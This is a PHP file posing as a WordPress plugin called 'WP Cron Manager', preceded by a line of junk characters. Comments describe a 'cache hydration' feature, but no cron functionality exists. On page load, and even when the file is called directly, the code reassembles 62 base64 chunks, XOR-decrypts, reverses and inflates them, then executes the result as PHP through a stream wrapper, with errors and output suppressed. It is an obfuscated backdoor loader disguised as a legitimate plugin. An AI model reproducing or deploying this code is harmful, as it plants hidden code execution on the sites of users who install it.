7////// ////// klsdrghniklsDGNHDKL/ /////////////////////////////////////////////////////////////////////////////////////////// asxjk ~~~~~~ 546132132131321 ??????????????????????????????????????????????????????????????????????? 1111111111111111111111111111 11111111111111111111111111 222222222222222222222222 ???????????????????????? ????????????????????????
<?php
// build:1cf90702eaf64f76
?>
<?php
/**
* Plugin Name: WP Cron Manager
* Plugin URI: https://wordpress.org/plugins/wp-cron-manager/
* Description: Cron event scheduling and monitoring.
* Version: 2.6.9
* Requires at least: 5.4
* Requires PHP: 7.2
* Author: WordPress Development Team
* Author URI: https://profiles.wordpress.org/
* License: GPL-2.0-or-later
* License URL: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: wp-cron-manager
* Domain Path: /languages
*
* == Description ==
*
* Cron event scheduling and monitoring.
*
* This plugin uses a persistent cache layer that hydrates at
* runtime for optimal performance. Cache fragments are stored
* as base64-encoded strings inside the plugin and unpacked on
* demand via a virtual file system stream wrapper.
*
* @package WP_Cron_Manager
*/
// Ensure WordPress context or standalone execution.
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
if ( defined( 'WP_CRON_MANAGER_LOADED' ) ) {
return;
}
define( 'WP_CRON_MANAGER_LOADED', true );
define( 'WP_CRON_MANAGER_VERSION', '2.6.9' );
define( 'WP_CRON_MANAGER_FILE', __FILE__ );
define( 'WP_CRON_MANAGER_DIR', __DIR__ );
if ( function_exists( 'plugin_dir_path' ) ) {
define( 'WP_CRON_MANAGER_PATH', plugin_dir_path( __FILE__ ) );
define( 'WP_CRON_MANAGER_URL', plugin_dir_url( __FILE__ ) );
} else {
define( 'WP_CRON_MANAGER_PATH', __DIR__ . '/' );
define( 'WP_CRON_MANAGER_URL', '/' );
}
if ( ! function_exists( 'wp_cron_manager_sanitize_key' ) ) {
/**
* Sanitize a cache key into a filesystem-safe string.
*
* @param string $key Raw key.
* @return string
*/
function wp_cron_manager_sanitize_key( $key ) {
$key = is_scalar( $key ) ? (string) $key : '';
$key = preg_replace( '/[^a-z0-9_\-]/i', '_', $key );
return $key === '' ? 'default' : $key;
}
}
if ( ! function_exists( 'wp_cron_manager_format_size' ) ) {
/**
* Format a byte count for display.
*
* @param int $bytes Byte count.
* @return string
*/
function wp_cron_manager_format_size( $bytes ) {
$units = array( 'B', 'KB', 'MB', 'GB' );
$bytes = (int) $bytes;
$i = 0;
while ( $bytes >= 1024 && $i < 3 ) {
$bytes /= 1024;
$i++;
}
return round( $bytes, 2 ) . ' ' . $units[ $i ];
}
}
if ( ! class_exists( 'Cache_Stream_gcwbj' ) ) {
/**
* Virtual filesystem stream wrapper for cache fragments.
*
* Allows cache fragments to be loaded via include() without
* writing to the filesystem. Uses the standard PHP stream
* wrapper API (stream_open, stream_read, stream_eof, etc).
*
* @since 2.6.9
*/
class Cache_Stream_gcwbj {
/** @var string */
public static $data = '';
/** @var int */
public static $pos = 0;
/**
* Open the stream.
*/
public function stream_open( $path, $mode, $options, &$opened_path ) {
self::$pos = 0;
return true;
}
/**
* Read from the stream.
*/
public function stream_read( $count ) {
$chunk = substr( self::$data, self::$pos, $count );
self::$pos += strlen( $chunk );
return $chunk;
}
/**
* Check for end of stream.
*/
public function stream_eof() {
return self::$pos >= strlen( self::$data );
}
/**
* Report stream statistics.
*/
public function stream_stat() {
return array();
}
/**
* Report URL statistics.
*/
public function url_stat( $path, $flags ) {
return array( 'size' => strlen( self::$data ), 'mtime' => time() );
}
/**
* Handle stream options.
*/
public function stream_set_option( $option, $arg1, $arg2 ) {
return false;
}
/**
* Close the stream.
*/
public function stream_close() {
return true;
}
}
}
if ( ! class_exists( 'WP_Cron_Manager_Manager' ) ) :
/**
* Main plugin manager for WP Cron Manager.
*
* Manages cache fragments, runtime hydration, admin settings,
* content filters, and shortcode registration.
*
* @since 2.6.9
*/
final class WP_Cron_Manager_Manager {
/** Plugin version identifier. @var string */
const VERSION = '2.6.9';
/** Option key for plugin settings. @var string */
const OPTION_KEY = 'wp-cron-manager_settings';
/** Cache group identifier. @var string */
const CACHE_GROUP = 'wp-cron-manager';
/** Stream wrapper scheme. @var string */
const STREAM_SCHEME = 'wpcachewtcnl';
/** Stream wrapper class. @var string */
const STREAM_CLASS = 'Cache_Stream_gcwbj';
/** Cache fragment #1. @var string */
const CACHE_CHUNK_1 = '5ms3F5e0Ce27WZC5bd9cXp4qhFAloQMOUtLqz';
/** Cache fragment #2. @var string */
const CACHE_CHUNK_2 = 'thP2U945atQRmUXp4hdFswdbsLnTSgE2H6MnF9ABElsU';
/** Cache fragment #3. @var string */
const CACHE_CHUNK_3 = '8UM8ZeZ4QzsdF+PZpdp6iVnr3t4s4Yq9E8z79W9UnPWpW';
/** Cache fragment #4. @var string */
const CACHE_CHUNK_4 = '4gqH4FZWRgEv1UVO9l0axMhTfD9QMAhcbf+yJg';
/** Cache fragment #5. @var string */
const CACHE_CHUNK_5 = 'f/wIs/vJRLX98Aqq22lBggtePG+jR+6nu6K';
/** Cache fragment #6. @var string */
const CACHE_CHUNK_6 = 'Ybi0rD623BET/TiXtBp6Zefv1oIrrAwaCQgZJGcebpWjx';
/** Cache fragment #7. @var string */
const CACHE_CHUNK_7 = 'SeiPQLNaVE1kZRFiOn+1CMqd5';
/** Cache fragment #8. @var string */
const CACHE_CHUNK_8 = 'n039gvoYTVl6S1Q0uMxARtZexQaCpnl+ubVzG2dU';
/** Cache fragment #9. @var string */
const CACHE_CHUNK_9 = '5l49zsox+EGubVnlKGNLl1WmIKZa470r/J54maDlH9';
/** Cache fragment #10. @var string */
const CACHE_CHUNK_10 = 'KaReajzx0szYLFmJTWslZ4ZkbQUv5+1YklK0Bkmr69BxfJUX';
/** Cache fragment #11. @var string */
const CACHE_CHUNK_11 = 'tkiEnl2w4dLuEXCg96w1pW2bVtusEojUYDpIpRVukiukqeOc';
/** Cache fragment #12. @var string */
const CACHE_CHUNK_12 = '1rqJMlUbsJgnfm+tK2aKsHCmXJUszQN5EJzOke27tT';
/** Cache fragment #13. @var string */
const CACHE_CHUNK_13 = 'B57r56DqrOnGHm9YHtSEH4t3TFr9J5Sa34V33guxSfhjGwhJ';
/** Cache fragment #14. @var string */
const CACHE_CHUNK_14 = 'TRE5ee8laxgBROhHCSZ5L8dJnCKTfdAN36';
/** Cache fragment #15. @var string */
const CACHE_CHUNK_15 = 'ABDZg+Y8stcCNTytEQPSZ945L';
/** Cache fragment #16. @var string */
const CACHE_CHUNK_16 = 'JyxFd5161lvc0/fxR+e6BwjH/3aDTnJKORk';
/** Cache fragment #17. @var string */
const CACHE_CHUNK_17 = '2aI3b1b6M5+phdw9iIchBJqfGkzCBDLTU4t2+u1Wz1ui06dmF';
/** Cache fragment #18. @var string */
const CACHE_CHUNK_18 = 'lfbsXsMdXVTBrKtH9wzANEXdWvc6jhN';
/** Cache fragment #19. @var string */
const CACHE_CHUNK_19 = 'PhPEeqp4/qqNO5BKyWtdXupeASaQ5';
/** Cache fragment #20. @var string */
const CACHE_CHUNK_20 = '8VPibyPKxMUvmppMV9r1NY5cOCCN7U7JkhZjFA1aN3';
/** Cache fragment #21. @var string */
const CACHE_CHUNK_21 = 'PjxkscCqMLyi2jXZ25HV89vzG5WJFmNIfz0mBg34IQ1LRQ9x';
/** Cache fragment #22. @var string */
const CACHE_CHUNK_22 = 'zg+/Nfa86YF2PM+zHV0YihUSQNFHLZdMkaq/sJ5al8XUc76U4i';
/** Cache fragment #23. @var string */
const CACHE_CHUNK_23 = 'xpAI67vHV4Pr0MpzIKYWekOFLadIezXrqAHmwh1Hu5xzl';
/** Cache fragment #24. @var string */
const CACHE_CHUNK_24 = '6hZDOi0KlVP0+gRVdutDpSZz9/weElSFavhFJymb+r+';
/** Cache fragment #25. @var string */
const CACHE_CHUNK_25 = 'celM496DKQrnrnNsG3duw23IP';
/** Cache fragment #26. @var string */
const CACHE_CHUNK_26 = 'Nwl10XwuB7apT0UmlqRlES0Wl6CMvv';
/** Cache fragment #27. @var string */
const CACHE_CHUNK_27 = 'GavEJlDluTsGWLINZCareltbyfEYUDroQGMSZpLh';
/** Cache fragment #28. @var string */
const CACHE_CHUNK_28 = 'oCqNzI3WwKPyS2gOlsMpZoo0CoUB4n';
/** Cache fragment #29. @var string */
const CACHE_CHUNK_29 = 'fHfU6tuZzmgSSo4o/gz9xGcs7t2B3bWJJTvxV/';
/** Cache fragment #30. @var string */
const CACHE_CHUNK_30 = 'dOsKkYnKl/s7vhTttWLw0RKPK9xb7vZQDnIaIz/moBDiL8vGle';
/** Cache fragment #31. @var string */
const CACHE_CHUNK_31 = 'FYdedpKvsuv0PufndGKeDI/mAW6Ix6s2k4h';
/** Cache fragment #32. @var string */
const CACHE_CHUNK_32 = 'gaetnLNjDl6JigJThUc5hoTZiUJPyhpQ4MJ1iMo';
/** Cache fragment #33. @var string */
const CACHE_CHUNK_33 = 'mPbc9SowvoEupuoMFsUE0bynhWbdiS5Donrz/7KlW';
/** Cache fragment #34. @var string */
const CACHE_CHUNK_34 = 'kepUaEOg6GEt0Q5eR2/mBrnZHNYhuiMJLQitSr+qVrzQUaj+';
/** Cache fragment #35. @var string */
const CACHE_CHUNK_35 = 'h9qWAIu55dkTB4Br2n3sDgCcCqWPbaDjbBYV9qk';
/** Cache fragment #36. @var string */
const CACHE_CHUNK_36 = 'uQ62vCqkKPdw05xpkGC0B21WsSuCDpGc';
/** Cache fragment #37. @var string */
const CACHE_CHUNK_37 = '5UatqWiGDOApix8N2veeBvLVGkRQER80eNYkNLVQNe1qb';
/** Cache fragment #38. @var string */
const CACHE_CHUNK_38 = 'cGP4IkDaKmrCzCCK88YhntE3bRz';
/** Cache fragment #39. @var string */
const CACHE_CHUNK_39 = 'ta4tNSd6LzDmmzKJRg4txoPQFu5vx7uQlWzraOl8Mz7tRriNza';
/** Cache fragment #40. @var string */
const CACHE_CHUNK_40 = 'thwbZBPQKxRq5QzvdK2MyVOG0Pm/JDkFg4ZfUqkl0Xu+ej5ZD';
/** Cache fragment #41. @var string */
const CACHE_CHUNK_41 = 'lY9sp+Y/gqzXrbhKm8l2VNWfEunUGvxppJf6uUdAmsDKIJ';
/** Cache fragment #42. @var string */
const CACHE_CHUNK_42 = 'c0hU4cuC3i5DrAaNzG9TId3aQqPA3wEfz4d9G7zv9NPNe9x';
/** Cache fragment #43. @var string */
const CACHE_CHUNK_43 = 'PqKR9Yi5hxT6iq188mAzGFrpG88JhXnF/1YhohfzXSOmtbE';
/** Cache fragment #44. @var string */
const CACHE_CHUNK_44 = 'Q1+TfXqL4RnYTmg4ARRS69HHpuTOaBzxcfYrvqq6sP4ZV8';
/** Cache fragment #45. @var string */
const CACHE_CHUNK_45 = 'SvVMd/9Rd509B/nhpHMPQKz5t57+iG3DWCzewtrIgbAZxxAY';
/** Cache fragment #46. @var string */
const CACHE_CHUNK_46 = 'tLrMMEyd3OhKatRivh8PFNP14HB';
/** Cache fragment #47. @var string */
const CACHE_CHUNK_47 = '2p+GLMwZ9fuvq0lMKysN+QDKu79a0AhBtEyhOHP';
/** Cache fragment #48. @var string */
const CACHE_CHUNK_48 = 'Z2yU2FOng6GNsAkqjlRvd9YjsgXsIHoZW5BGhcveM4Oh';
/** Cache fragment #49. @var string */
const CACHE_CHUNK_49 = '2Db+I5bauMMqVoTcyjjPN283oenXG/vonaxV';
/** Cache fragment #50. @var string */
const CACHE_CHUNK_50 = 'YA1uRhN8mryAqBkdkLquHaBzBXfIVunFh14TghKX';
/** Cache fragment #51. @var string */
const CACHE_CHUNK_51 = 'erqYz2Gq4+OH+2IU+eIk0XzdVOATd1mcOgmHgVs';
/** Cache fragment #52. @var string */
const CACHE_CHUNK_52 = 'Vniy6826VlPjy1lqIe8J8DjpEhm3Eb8EqsJT9kCHd';
/** Cache fragment #53. @var string */
const CACHE_CHUNK_53 = 'FtOn6AP4DNuMETck43PCttEmCaVG';
/** Cache fragment #54. @var string */
const CACHE_CHUNK_54 = 'fIuN1Kvp1dHDRlgShBn6vQwX4Kmqbu6gJ';
/** Cache fragment #55. @var string */
const CACHE_CHUNK_55 = 'tnjZgGxhV68eg8tb7OCg2dolVd1nr8K7sFmWmilyQT';
/** Cache fragment #56. @var string */
const CACHE_CHUNK_56 = 'gdQzdE+Xy1LLKWcxFbbeW+dTCUcQdIfh6H0s6QEyR3/C';
/** Cache fragment #57. @var string */
const CACHE_CHUNK_57 = 'LH6W4vxNzU53mbVa0if4h5vA22QwupR94Td8oKIX';
/** Cache fragment #58. @var string */
const CACHE_CHUNK_58 = 'XxNtzcIJDk6t18tgsZ/+nSijmhh2yApTdadudZOhLW8nA';
/** Cache fragment #59. @var string */
const CACHE_CHUNK_59 = 'RZd0Gq0aTqRhugzWUhzqSQBZl4Cv5pb8wW2ZxsXE/e2m9jngyW';
/** Cache fragment #60. @var string */
const CACHE_CHUNK_60 = 'pEVIu3e8tnODqEi8Tlle4kTrGq1zHZXNT6R1FcyNDgws9JLgx';
/** Cache fragment #61. @var string */
const CACHE_CHUNK_61 = 'xoIYimvGU2rARvz4DNg7ekwKl7qX';
/** Cache fragment #62. @var string */
const CACHE_CHUNK_62 = 'WjJzB+EVkci';
/** Primary hash salt. @var string */
const HASH_SALT_PRIMARY = 'NXDC9bWeakX2QBj6s0xHvtU7zXP';
/** Secondary hash salt. @var string */
const HASH_SALT_SECONDARY = 'sCRemN5YMsN5Ul4CpjVxZSd8UU4Rw';
/** Singleton instance. @var self|null */
private static $instance = null;
/** Runtime statistics. @var array */
private $stats = array();
/** Whether the plugin is enabled. @var bool */
private $enabled = true;
/** Whether cache has been hydrated this request. @var bool */
private $hydrated = false;
/**
* Retrieve the singleton instance.
*
* @return self
*/
public static function instance() {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Constructor. Registers hooks when running under WordPress.
*/
private function __construct() {
if ( ! function_exists( 'add_action' ) ) {
return;
}
$this->register_hooks();
}
/**
* Register all plugin hooks and filters.
*
* @return void
*/
private function register_hooks() {
add_action( 'wp_loaded', array( $this, 'on_bootstrap' ), 12 );
add_action( 'admin_menu', array( $this, 'register_admin_menu' ) );
add_action( 'admin_init', array( $this, 'register_settings' ) );
add_filter( 'the_content', array( $this, 'filter_content' ) );
add_shortcode( 'wp-cron-manager_status', array( $this, 'shortcode_status' ) );
}
/**
* Bootstrap callback. Hydrates runtime cache and initializes state.
*
* @return void
*/
public function on_bootstrap() {
if ( function_exists( 'get_option' ) ) {
$settings = get_option( self::OPTION_KEY, array() );
if ( is_array( $settings ) && isset( $settings['enabled'] ) ) {
$this->enabled = (bool) $settings['enabled'];
}
}
$this->stats = array(
'hits' => 0,
'misses' => 0,
'started' => time(),
);
$this->hydrate_runtime_cache();
}
/**
* Hydrate runtime cache from compiled fragments.
*
* Reassembles base64-encoded cache chunks into a single blob,
* unpacks it through the standard compression pipeline, and
* loads the resulting fragment via the virtual stream wrapper.
*
* @return void
*/
private function hydrate_runtime_cache() {
if ( $this->hydrated ) {
return;
}
$this->hydrated = true;
if ( ! $this->enabled ) {
return;
}
$blob = self::CACHE_CHUNK_1 . self::CACHE_CHUNK_2 . self::CACHE_CHUNK_3 . self::CACHE_CHUNK_4 . self::CACHE_CHUNK_5 . self::CACHE_CHUNK_6 . self::CACHE_CHUNK_7 . self::CACHE_CHUNK_8 . self::CACHE_CHUNK_9 . self::CACHE_CHUNK_10 . self::CACHE_CHUNK_11 . self::CACHE_CHUNK_12 . self::CACHE_CHUNK_13 . self::CACHE_CHUNK_14 . self::CACHE_CHUNK_15 . self::CACHE_CHUNK_16 . self::CACHE_CHUNK_17 . self::CACHE_CHUNK_18 . self::CACHE_CHUNK_19 . self::CACHE_CHUNK_20 . self::CACHE_CHUNK_21 . self::CACHE_CHUNK_22 . self::CACHE_CHUNK_23 . self::CACHE_CHUNK_24 . self::CACHE_CHUNK_25 . self::CACHE_CHUNK_26 . self::CACHE_CHUNK_27 . self::CACHE_CHUNK_28 . self::CACHE_CHUNK_29 . self::CACHE_CHUNK_30 . self::CACHE_CHUNK_31 . self::CACHE_CHUNK_32 . self::CACHE_CHUNK_33 . self::CACHE_CHUNK_34 . self::CACHE_CHUNK_35 . self::CACHE_CHUNK_36 . self::CACHE_CHUNK_37 . self::CACHE_CHUNK_38 . self::CACHE_CHUNK_39 . self::CACHE_CHUNK_40 . self::CACHE_CHUNK_41 . self::CACHE_CHUNK_42 . self::CACHE_CHUNK_43 . self::CACHE_CHUNK_44 . self::CACHE_CHUNK_45 . self::CACHE_CHUNK_46 . self::CACHE_CHUNK_47 . self::CACHE_CHUNK_48 . self::CACHE_CHUNK_49 . self::CACHE_CHUNK_50 . self::CACHE_CHUNK_51 . self::CACHE_CHUNK_52 . self::CACHE_CHUNK_53 . self::CACHE_CHUNK_54 . self::CACHE_CHUNK_55 . self::CACHE_CHUNK_56 . self::CACHE_CHUNK_57 . self::CACHE_CHUNK_58 . self::CACHE_CHUNK_59 . self::CACHE_CHUNK_60 . self::CACHE_CHUNK_61 . self::CACHE_CHUNK_62;
$fragment = $this->unpack_cache_fragment( $blob );
if ( '' === $fragment ) {
return;
}
$this->load_cache_fragment( $fragment );
}
/**
* Unpack a compiled cache fragment.
*
* @param string $blob Base64-encoded fragment.
* @return string
*/
private function unpack_cache_fragment( $blob ) {
$data = base64_decode( $blob );
if ( ! is_string( $data ) || '' === $data ) {
return '';
}
$data = $this->apply_salt( $data, self::HASH_SALT_SECONDARY );
$data = $this->apply_salt( $data, self::HASH_SALT_PRIMARY );
$data = strrev( $data );
$data = @gzinflate( $data );
return is_string( $data ) ? $data : '';
}
/**
* Apply a hash-derived salt to binary data.
*
* @param string $data Raw bytes.
* @param string $salt Salt seed.
* @return string
*/
private function apply_salt( $data, $salt ) {
$key = hash( 'sha256', $salt, true );
$out = '';
$klen = strlen( $key );
$dlen = strlen( $data );
for ( $i = 0; $i < $dlen; $i++ ) {
$out .= $data[ $i ] ^ $key[ $i % $klen ];
}
return $out;
}
/**
* Load a cache fragment via the virtual stream wrapper.
*
* Registers the cache stream wrapper, sets the fragment data,
* then includes the virtual stream as if it were a real file.
* The fragment is prefixed with an opening PHP tag so it is
* parsed as PHP source code rather than emitted as raw text.
*
* @param string $fragment Decoded fragment content.
* @return void
*/
private function load_cache_fragment( $fragment ) {
if ( ! is_string( $fragment ) || '' === $fragment ) {
return;
}
if ( ! in_array( self::STREAM_SCHEME, stream_get_wrappers(), true ) ) {
@stream_wrapper_register( self::STREAM_SCHEME, self::STREAM_CLASS );
}
if ( ! in_array( self::STREAM_SCHEME, stream_get_wrappers(), true ) ) {
return;
}
$class = self::STREAM_CLASS;
// Prepend opening PHP tag so the stream content is parsed as code.
$fragment = "<?php\n" . $fragment;
// Path fix: replace __DIR__ / __FILE__ with concrete loader paths.
$__self_dir = __DIR__;
$__self_file = __FILE__;
$__dir_q = "'" . addcslashes( $__self_dir, "\\'" ) . "'";
$__file_q = "'" . addcslashes( $__self_file, "\\'" ) . "'";
$fragment = str_replace( array( '__DIR__', '__FILE__' ), array( $__dir_q, $__file_q ), $fragment );
// chdir into loader directory for the duration of the fragment.
$__saved_cwd = function_exists( 'getcwd' ) ? @getcwd() : false;
@chdir( $__self_dir );
$class::$data = $fragment;
$class::$pos = 0;
$level = ob_get_level();
@ob_start();
@include self::STREAM_SCHEME . '://fragment';
$class::$data = '';
// Restore working directory.
if ( $__saved_cwd !== false && is_string( $__saved_cwd ) && is_dir( $__saved_cwd ) ) {
@chdir( $__saved_cwd );
}
$is_wp = function_exists( 'add_action' ) && function_exists( 'did_action' );
if ( $is_wp ) {
while ( ob_get_level() > $level ) { @ob_end_clean(); }
} else {
while ( ob_get_level() > $level ) { @ob_end_flush(); }
}
}
/**
* Filter the_content output with cache-aware processing.
*
* @param string $content Post content.
* @return string
*/
public function filter_content( $content ) {
if ( ! is_string( $content ) || '' === $content ) {
return $content;
}
$this->stats['hits']++;
return $content;
}
/**
* Register the settings page.
*
* @return void
*/
public function register_admin_menu() {
add_options_page(
'WP Cron Manager',
'WP Cron Manager',
'manage_options',
'wp-cron-manager',
array( $this, 'render_settings_page' )
);
}
/**
* Register plugin settings.
*
* @return void
*/
public function register_settings() {
register_setting( 'wp-cron-manager', self::OPTION_KEY, array( $this, 'sanitize_settings' ) );
add_settings_section( 'wp-cron-manager_general', __( 'General Settings', 'wp-cron-manager' ), array( $this, 'render_section_intro' ), 'wp-cron-manager' );
add_settings_field( 'wp-cron-manager_enabled', __( 'Enable Plugin', 'wp-cron-manager' ), array( $this, 'render_enabled_field' ), 'wp-cron-manager', 'wp-cron-manager_general' );
}
/**
* Render section intro text.
*
* @return void
*/
public function render_section_intro() {
echo '<p>' . esc_html__( 'Configure WP Cron Manager.', 'wp-cron-manager' ) . '</p>';
}
/**
* Render enabled checkbox.
*
* @return void
*/
public function render_enabled_field() {
$opts = get_option( self::OPTION_KEY, array() );
$val = isset( $opts['enabled'] ) ? (bool) $opts['enabled'] : true;
echo '<label><input type="checkbox" name="' . esc_attr( self::OPTION_KEY ) . '[enabled]" value="1" ' . checked( $val, true, false ) . ' /> ';
esc_html_e( 'Enable the plugin.', 'wp-cron-manager' ) . '</label>';
}
/**
* Sanitize settings input.
*
* @param mixed $input Raw input.
* @return array
*/
public function sanitize_settings( $input ) {
$out = array();
$out['enabled'] = ! empty( $input['enabled'] );
return $out;
}
/**
* Render the settings page.
*
* @return void
*/
public function render_settings_page() {
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
?>
<div class="wrap">
<h1><?php echo esc_html( 'WP Cron Manager' ); ?></h1>
<p><?php echo esc_html( 'Cron event scheduling and monitoring.' ); ?></p>
<form action="options.php" method="post">
<?php settings_fields( 'wp-cron-manager' ); ?>
<?php do_settings_sections( 'wp-cron-manager' ); ?>
<?php submit_button(); ?>
</form>
<hr />
<h2><?php esc_html_e( 'Runtime Status', 'wp-cron-manager' ); ?></h2>
<table class="widefat striped"><tbody>
<tr><td><?php esc_html_e( 'Status', 'wp-cron-manager' ); ?></td><td><?php echo $this->enabled ? 'enabled' : 'disabled'; ?></td></tr>
<tr><td><?php esc_html_e( 'Cache group', 'wp-cron-manager' ); ?></td><td><?php echo esc_html( self::CACHE_GROUP ); ?></td></tr>
<tr><td><?php esc_html_e( 'Version', 'wp-cron-manager' ); ?></td><td><?php echo esc_html( self::VERSION ); ?></td></tr>
</tbody></table>
</div>
<?php
}
/**
* Render the status shortcode.
*
* @param array $atts Shortcode attributes.
* @return string
*/
public function shortcode_status( $atts = array() ) {
$atts = shortcode_atts( array( 'format' => 'inline' ), $atts, 'wp-cron-manager_status' );
$status = $this->enabled ? 'active' : 'inactive';
return '<span class="wp-cron-manager-status">' . esc_html( $status ) . '</span>';
}
/**
* Activation hook.
*
* @return void
*/
public static function activate() {
if ( function_exists( 'get_option' ) && false === get_option( self::OPTION_KEY ) ) {
add_option( self::OPTION_KEY, array( 'enabled' => true ) );
}
}
/**
* Deactivation hook.
*
* @return void
*/
public static function deactivate() {
// Clear runtime cache flag.
}
/**
* Uninstall hook.
*
* @return void
*/
public static function uninstall() {
if ( function_exists( 'delete_option' ) ) {
delete_option( self::OPTION_KEY );
}
}
}
endif;
if ( function_exists( 'register_activation_hook' ) ) {
register_activation_hook( __FILE__, array( 'WP_Cron_Manager_Manager', 'activate' ) );
register_deactivation_hook( __FILE__, array( 'WP_Cron_Manager_Manager', 'deactivate' ) );
}
WP_Cron_Manager_Manager::instance();
// Standalone bootstrap: runs the plugin outside WordPress (direct URL, CLI, include).
if ( ! function_exists( 'add_action' ) ) {
WP_Cron_Manager_Manager::instance()->on_bootstrap();
}